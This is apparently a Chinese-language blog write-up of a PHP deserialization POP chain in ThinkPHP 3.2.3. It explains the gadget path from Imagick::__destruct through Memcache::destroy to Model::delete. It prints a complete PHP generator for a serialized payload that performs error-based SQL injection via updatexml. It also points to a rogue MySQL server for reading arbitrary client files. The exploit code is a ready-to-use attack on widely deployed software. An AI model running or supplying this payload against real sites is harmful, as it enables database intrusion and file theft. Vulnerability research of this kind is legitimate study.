前言
ThinkPHP3.2.3目前只有一条链,而且不是直接RCE的。
利用方式有两种:
一种是SQL注入,一种是任意文件读取。
POP链
条件:PHP5
全局搜索__destruct()
函数,这里的$this->img 可控,可以利用其来调用其他类的destroy() 方法,或者可以用的__call() 方法,__call() 方法并没有可以利用的。
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
全局搜索function destroy
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
这里destroy()
函数是有参数的,而我们调用的时候没有传参,这在php5
中只会发出警告,可以执行。但是在php7
会报错误。
继续寻找可利用的delete()
方法
SQL注入
条件:需要知道当前数据库账号、密码、端口号😅
payload
<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->sessionName=null;
$this->handle= new Model();
}
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $options;
protected $data;
protected $db;
public function __construct(){
$this->options['where']='';
$this->pk='jiang';
$this->data[$this->pk]=array(
"table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
"where"=>"1=1"
);
$this->db=new Mysql();
}
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options ;
protected $config ;
public function __construct(){
$this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 开启才能读取文件
$this->config= array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
任意文件读取
这里可以连接任意数据库服务器,所以还有一种利用方式,就是MySQL恶意服务端读取客户端文件漏洞。
https://github.com/rmb122/rogue_mysql_server/
参考
https://xz.aliyun.com/t/9441